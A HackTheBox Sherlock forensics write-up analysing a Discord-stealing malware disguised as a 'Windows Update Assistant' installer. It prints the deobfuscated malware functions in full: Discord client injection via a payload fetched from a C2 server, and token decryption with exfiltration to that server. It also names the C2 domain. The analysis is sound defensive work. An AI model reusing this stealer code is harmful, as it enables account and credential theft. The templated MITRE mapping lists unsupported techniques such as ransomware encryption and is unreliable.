Subatomic
Subatomic
Platform: HackTheBox | Type: SOC/DFIR | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10
Scenario
Forela is in need of your assistance. They were informed by an employee that their Discord account had been used to send a message with a link to a file they suspect is malware. The message read: "Hi! I've been working on a new game I think you may be interested in it. It combines a number of games we like to play together, check it out!". The Forela user has tried to secure their Discord account, but somehow the messages keep being sent and they need your help to understand this malware and regain control of their account! Warning: This is a warning that this Sherlock includes software that is going to interact with your computer and files. This software has been intentionally included for educational purposes and is NOT intended to be executed or used otherwise. Always handle such files in isolated, controlled, and secure environments. One the Sherlock zip has been unzipped, you will find a DANGER.txt file. Please read this to proceed.
Key Questions
- What indicators of compromise exist?
- What attack chain / MITRE techniques were used?
- What is the full timeline?
Investigation Timeline
| Time | Event | Evidence / Source |
|---|---|---|
| — | A Discord account has been compromised and is being used to send messages containing a link to a suspected malicious ... | |
| — | As forensic analysts, our task is to investigate the incident and analyze the malware to understand its behavior and ... | |
| — | Unzipping the zip file shall resulting to 2 files. Those are .txt file and the zipped malware binary. | |
| — | Danger.txt | |
| — | Unzipping the malware.zip file using the provided password, shall resulting to a binary named **nsis-installer.ex... | |
| — | Anyway, this is interesting because upon checking the file properties found Unauthenticated Attributes. This fi... | |
| — | It indicates a masquerading technique. | |
| — | As an additional information, another tool like Detect it Easy (DIE) is useful to identify the actual file type of ... | |
| — | To identify the imphash of this malware installer, we can simply grab the checksum and load it at virus total. | |
| — | In Window Powershell terminal, we can use this command: | |
| — | RESULT AT VIRUS TOTAL | |
| — | To identify the imphash, simply check the Details tab and view the Basic Properties section. |
Evidence Analysed
- Tools: powershell, sqlite3.
- Artifacts: registry, sqlite, database.
Detailed Investigation
- A Discord account has been compromised and is being used to send messages containing a link to a suspected malicious file. Despite the owner's efforts to secure the account, the messages continue to be sent.
- As forensic analysts, our task is to investigate the incident and analyze the malware to understand its behavior and regain control of the account.
- Unzipping the zip file shall resulting to 2 files. Those are .txt file and the zipped malware binary.
Danger.txt
-
Unzipping the malware.zip file using the provided password, shall resulting to a binary named nsis-installer.exe.
-
Anyway, this is interesting because upon checking the file properties found
Unauthenticated Attributes. This finding could indicate that there is additional data in the file that was not included in Microsoft's signing process. -
It indicates a masquerading technique.
-
As an additional information, another tool like
Detect it Easy (DIE)is useful to identify the actual file type of a file.
NOTE:
Nullsoft Scriptable Install System (NSIS) is a professional open source system
to create windows installers.
1ST QUESTION --> ANS: REDACTED
- To identify the imphash of this malware installer, we can simply grab the checksum and load it at virus total.
- In Window Powershell terminal, we can use this command:
Get-Filehash .\nsis-installer.exe -Algorithm <checksum_you_want>
RESULT AT VIRUS TOTAL
- To identify the imphash, simply check the Details tab and view the Basic Properties section.
2ND QUESTION --> ANS: REDACTED
- It is known that the malware contains a digital signature and to identify the program name specified under the
SpcSpOpusInfoData Structure we can review the Signature Info section at Virus Total. - Viewing information under
SpcSpOpusInfoit is clear the program name isWindows Update Assistant.
3RD QUESTION --> ANS: REDACTED
- Next, to identify the unique GUID used by the malware during installation, we need to interact with the binary.
- Since previously we identified the binary file type is indeed an
nsis, hence it contains a compressed installation files.
NOTE:
Many installers (NSIS, MSI, Inno Setup, etc) compress their
payload (the files to be installed) to save space.
- Upon listing all the compressed files using
7z, found an interesting archive file. The archive itself could indicates a bundled payload compressed for efficiency. $PLUGINSDIRis a temporary directory created and used by NSIS when an installer runs. It is used to extract and store temporary files, such as plugins, resources, or payloads required during the installation process.- The contents of
$PLUGINSDIRare typically deleted after the installer finishes running, unless the process is interrupted or the files are explicitly left behind.
COMMAND
7z l nsis-installer.exe
-
It is known there are 2 directories and 72 files within the archive file.
-
Noticed there is another archive file with
.asarextension, the size itself is quite big, which indicate storing important data. -
Anyway, previously we identified another
.nsifile which should be our interest beside the 7zip archive file. The.nsifile is part of the NullSoft installer, this file has instructions about the installation process of the binary. -
Knowing this, the unique GUID used by the malware for installation process can be found there. To review it we can simply open it on any text editor.
RESULT ON NOTEPAD++
-
It seems, SerenityThrerapyInstaller should be our interest.
-
However noticed there are several keys that reference to GUID
cfbc383d-9aa0-5771-9485-7b806e8442d5. An uninstall instruction is also reference to the same GUID along with the publisher name stated the SerenityTherapyInstaller. -
For the sake of consistency in registry entries, the GUID associated for the uninstallation is typically the same as the one used during installation.
-
Another reason why it used the same GUID is to avoid conflict with other installations.
4TH QUESTION --> ANS: REDACTED
-
Refer back to our previous finding upon unzipping the 7zip archive file, we shall review the
app.asarfile. -
Interesting! It seems the malware is using JS utility.
-
Reviewing the JSON file, we can identify several metadata associated with the malware and one of them is the license tied to this malware.
5TH QUESTION --> ANS: REDACTED
-
Upon reviewing the Javascript, it is clear that the script is obfuscated and it would take time if we try to conduct static analysis to the JS file.
-
So I tried to debug the JS using VSCODE. Anyway don't forget to install all the dependencies we previously identified in order to debug the script. In my case, I just missing both
@primno/dpapiandsqlite3npm modules, if you facing the same problem, here lies the command line to install those two modules.
Command to install
sh read-only • copy allowednpm install @primno/dpapi npm install sqlite3
Don't forget to beautify the script first, so we can easily fix for syntax error
- If you face the same syntax problem like me, simply remove the 5 number before _0.
BEFORE
AFTER
-
I am running several pause and unpause during the debug process, until I found the eval statement. Opening it shall resulting to a 894 LOCs which might be comes from the obfuscated script. However things to note that it's kinda tricky to get the eval statement at the call stack section, because if you paused too early / late, the eval statement won't be visible at the call stack section.
-
So I did several try to identify any statement that is convincing, maybe there is a foo way regarding this.
-
Upon reviewing the script, found an object named options which contains several keys, such as api, user_id, and logout_discord.
-
Checking the domain on threat intelligence platform, the API domain name is marked as malicious and the domain name is prone to as the C2 domain used by the malware.
6TH QUESTION --> ANS: REDACTED
- Continue reviewing the deobfuscated script, found another object named networks which fetch to URL that is likely used to identify public IP information of the infected machine.
7TH QUESTION --> ANS: REDACTED
-
For better code review, we can see all of the functions listed at the OUTLINE section. It should gave us a grasp regarding functions related to Discord, Browser, and General.
-
Based on the functions listed at Outline, it seems there are 4 functions that could give us answer regarding the particular path used by the malware to connect back on.
FOUND 3 try / catch blocks
| First Block | Second Block | Third Block |
|---|
- Noticed that the logic for catch is the same for each but the error message is quite different.
- Based on the script above, the first block calls three functions, those are checkVM(), checkCmdInstallation(), and newInjection(). The second block calls getDiscordTokens() function and the third block calls allBrowserData() function.
- Anyway, each catch block does show that the api key from the options object is called again. It concludes the same C2 is called again for this malware.
8TH QUESTION --> ANS: REDACTED
- Again, based from the same code-block, we can identify the variable name which act as a user_id key.
9TH QUESTION --> ANS: REDACTED
- To identify what hostname begins with arch, we can refer to line 19 which contains all the hostnames that the malware checks upon execution.
10TH QUESTION --> ANS: REDACTED
- Just below the previous code-block, we can see number of processes checked by the malware to see if they are running in a VM.
- Noticed the same process gets checked twice --> vmwaretray.
11TH QUESTION --> ANS: REDACTED
-
Referring to the OUTLINE section at VSCODE, we can identify a spesific function which relevant with cmd.
-
In summary, the script above ensure whether cmd.exe binary is available and update the environment's command processor path accordingly.
-
If the cmd.exe binary is not exist, it will write a file from the C2 server to Document directory using the environment variable
USERPROFILE.
12TH QUESTION --> ANS: REDACTED
- Again, using the same method by referring to the OUTLINE section, we can identify a function named
getFirefoxCookies(), which used to steal cookies from firefox.
getFirefoxCookies()
- Based on the script above, getFirefoxCookies() function uses command
where /r . cookies.sqliteto find the database file. - Afterwards, if the file is found then it collects all the data from the DB, then return it.
13TH QUESTION --> ANS: REDACTED
- To identify what Discord module has been modified by the malware, we need to review all functions related to Discord.
- Referring to the OUTLINE section, we can identify several functions related to Discord, those are:
1. discordInjection.
2. newInjection.
discordInjection()
js read-only • copy allowedasync function discordInjection() { const infectedDiscords = []; [join(process.env.LOCALAPPDATA, 'Discord'), join(process.env.LOCALAPPDATA, 'DiscordCanary'), join(process.env.LOCALAPPDATA, 'DiscordPTB')] ?.forEach(async(dir) => { if(existsSync(dir)) { if(!readdirSync(dir).filter((f => f?.startsWith('app-')))?.[0]) return; const path = join(dir, readdirSync(dir).filter((f => f.startsWith('app-')))?.[0], 'modules', 'discord_desktop_core-1'); const discord_index = execSync('where /r . index.js', { cwd: path })?.toString()?.trim(); if(discord_index) infectedDiscords?.push( dir?.split(process.env.LOCALAPPDATA)?.[1]?.replace('\\', '') ); const request = await fetch(options.api + 'injections', { method: 'GET', headers: { duvet_user: options?.user_id, logout_discord: options?.logout_discord } }); const data = await request.json(); writeFileSync(discord_index, data?.discord, { flag: 'w' }); await kill(['discord', 'discordcanary', 'discorddevelopment', 'discordptb']); exec(`${join(dir, 'Update.exe')} --processStart ${dir?.split(process.env.LOCALAPPDATA)?.[1]?.replace('\\', '')}.exe`, function(err) { if(err) {}; }); }; }); return infectedDiscords; };
- Based on the script above, at the beginning it loops through each standard installation directories for Discord (Discord, Discord Canary, and Discord PTB). Next, it check for subdirectories starting with
app-which correspond to specific Discord versions, then constructs a path to thediscord_desktop_core-1module folder, a common location for Discord's core functionality.
js read-only • copy allowed// Find Discord App Version if(!readdirSync(dir).filter((f => f?.startsWith('app-')))?.[0]) return; const path = join(dir, readdirSync(dir).filter((f => f.startsWith('app-')))?.[0], 'modules', 'discord_desktop_core-1');
- Later on, it checks for existing installations, locates the
index.jsfile in Discord's core module directory, then fetches a payload from a specified API to overwrite the file (injecting malicious code).
js read-only • copy allowed// locate index.js file const discord_index = execSync('where /r . index.js', { cwd: path })?.toString()?.trim();
js read-only • copy allowedconst request = await fetch(options.api + 'injections', { method: 'GET', headers: { duvet_user: options?.user_id, logout_discord: options?.logout_discord } }); const data = await request.json();
- After modifying the file, the script forcibly terminates running Discord processes and restarts them using Discord's Update.exe to ensure the injected code is loaded.
js read-only • copy allowedwriteFileSync(discord_index, data?.discord, { flag: 'w' }); await kill(['discord', 'discordcanary', 'discorddevelopment', 'discordptb']); exec(`${join(dir, 'Update.exe')} --processStart ${dir?.split(process.env.LOCALAPPDATA)?.[1]?.replace('\\', '')}.exe`, function(err) { if(err) {}; });
- Nice! At this rate we know the first solution is to clean up the
discord_desktop_core-1module's -->index.jssource file.
getDiscordTokens()
js read-only • copy allowedasync function getDiscordTokens() { const request = await fetch(options.api + 'paths', { method: 'GET', headers: { 'Content-Type': 'application/json', 'duvet_user': options.user_id } }); const paths = await request.json(); const tokens_list = []; for(const [key, value] of Object.entries(paths.discordTokens)) { const path = value.replace('appdata', process.env.LOCALAPPDATA).replace('roaming', process.env.APPDATA); if(existsSync(path) && existsSync(join(path, '..', '..', 'Local State'))) { for(const file of readdirSync(path)) { if(file?.endsWith('.ldb') || file?.endsWith('.log')) { if(!existsSync(join(path, file))) return; const file_content = readFileSync(join(path, file), 'utf-8') .split('\n')?.map((x) => x?.trim()); file_content?.forEach((line) => { const encrypted_tokens = line?.match(/dQw4w9WgXcQ:[^.*['(.*)'\].*$][^']*/gi); if(encrypted_tokens) { encrypted_tokens?.forEach(async(token) => { if(token?.endsWith('\\')) token = (token?.slice(0, -1).replace('\\', ''))?.slice(0, -1); const encrypted_key = Buffer.from(JSON.parse(readFileSync(join(path, '..', '..', 'Local State')))?.os_crypt?.encrypted_key, 'base64').slice(5); const decrypted_key = Dpapi?.unprotectData(Buffer.from(encrypted_key, 'utf-8'), null, 'CurrentUser'); if(!decrypted_key) return; let decrypted_token; const encrypted = Buffer.from(token?.split(':')[1], 'base64'); if(!encrypted) return; const start = encrypted?.slice(3, 15), middle = encrypted?.slice(15, encrypted?.length - 16), end = encrypted?.slice(encrypted?.length - 16, encrypted?.length); if(decrypted_key.byteLength >= 64) return; if(start?.length !== 12) return; const cipher = createCipheriv('aes-256-gcm', decrypted_key, start) let encryptedData = cipher.update(middle, 'base64', 'utf-8'); encryptedData += cipher.final('utf-8'); decrypted_token = encryptedData; if(!tokens_list?.find((t) => t?.token === decrypted_token)) { tokens_list.push({ token: decrypted_token, found_in: key, auth_tag_length: end.length, crypto_iv: start?.length }); }; }); }; }); }; }; } else if(existsSync(path) && !existsSync(join(path, '..', '..', 'Local State'))) { for(const file of readdirSync(path)) { if(file?.endsWith('.ldb') || file?.endsWith('.log')) { const file_content = readFileSync(join(path, file), 'utf-8')?.split(/\r?\n/); file_content?.forEach((line) => { for(const regex of [new RegExp(/mfa\.[\w-]{84}/g), new RegExp(/[\w-][\w-][\w-]{24}\.[\w-]{6}\.[\w-]{26,110}/gm), new RegExp(/[\w-]{24}\.[\w-]{6}\.[\w-]{38}/g)]) { const matched_tokens = line?.match(regex); if(matched_tokens) { matched_tokens?.forEach(async(token) => { if(!tokens_list?.find((t) => t?.token === token)) { tokens_list?.push({ token: token, found_in: key }); }; }); }; }; }); }; }; } else { continue; }; }; const merge = (a, b, predicate = (a, b) => a === b) => { const c = [...a]; b?.forEach((bItem) => (c?.some((cItem) => predicate(bItem, cItem)) ? null : c?.push(bItem))) return c; }; const firefox_tokens = await stealFirefoxTokens(); const valid_tokens = []; for(const value of merge(tokens_list, firefox_tokens)) { const token_data = await checkToken(value?.token); if(token_data?.id) { const user_data = await tokenRequests(value?.token, token_data?.id); if(!valid_tokens.find((u) => u?.user?.data?.id === token_data.id)) { valid_tokens.push({ token: value?.token, found_at: value?.found_in, auth_tag_length: value?.auth_tag_length, crypto_iv: value?.crypto_iv, user: { data: token_data, profile: user_data?.profile, payment_sources: user_data?.payment_sources } }); }; }; }; if(valid_tokens?.length) { fetch(options.api + 'valid-tokens', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ duvet_user: options?.user_id, valid_tokens, computer_name: userInfo()?.username }) }); }; };
- In short, this function is used to extract and decrypt Discord authentication tokens from a system. It attempts to steal Discord auth tokens by fetching paths from an API and scanning the system for
.ldband.logfiles within the specified directories. - This function also calls another function like stealFirefoxTokens to gather tokens from other sources and ensures all tokens are checked and merged into a single list before being sent to the threat actor.
- Long story short I did not find any Discord related function other than
discordInjection()that infected a file. This conclude the module infected isdiscord_desktop_core-1and the file name infected isindex.js. - Awesome! We have investigated the case!
IMPORTANT LINK(S):
https://www.virustotal.com/gui/file/7a95214e7077d7324c0e8dc7d20f2a4e625bc0ac7e14b1446e37c47dff7eeb5b
https://www.virustotal.com/gui/domain/illitmagnetic.site
https://ipinfo.io/
Findings
- Persistence mechanism — An autostart/persistence mechanism was established on the host (see timeline).
- Initial access — As documented in the investigation steps.
- Impact — Data was stolen / systems impacted as described in the investigation steps.
MITRE ATT&CK Mapping
| Tactic | Technique | ID |
|---|---|---|
| Lateral Movement | Remote Services | T1021 |
| Defense Evasion | Obfuscated Files or Information | T1027 |
| Exfiltration | Exfiltration Over C2 Channel | T1041 |
| Defense Evasion | Modify Registry | T1112 |
| Impact | Data Encrypted for Impact | T1486 |
Answers / Flags
- 1ST QUESTION --> ANS: REDACTED
- 2ND QUESTION --> ANS: REDACTED
- 3RD QUESTION --> ANS: REDACTED
- 4TH QUESTION --> ANS: REDACTED
- 5TH QUESTION --> ANS: REDACTED
- 6TH QUESTION --> ANS: REDACTED
- 7TH QUESTION --> ANS: REDACTED
- 8TH QUESTION --> ANS: REDACTED
- 9TH QUESTION --> ANS: REDACTED
- 10TH QUESTION --> ANS: REDACTED
- 11TH QUESTION --> ANS: REDACTED
- 12TH QUESTION --> ANS: REDACTED
- 13TH QUESTION --> ANS: REDACTED
Lessons Learned
- Using
Detect it Easy (DIE)to identify file type. - Unpacking Nullsoft Installer binary.
- Identifying unique GUID used by the malware for installation.
- Debugging obfuscated javascript file using VSCODE (to retrieve the deobfuscated JS).
- Small code review for JS source file (Trojan Discord's core module).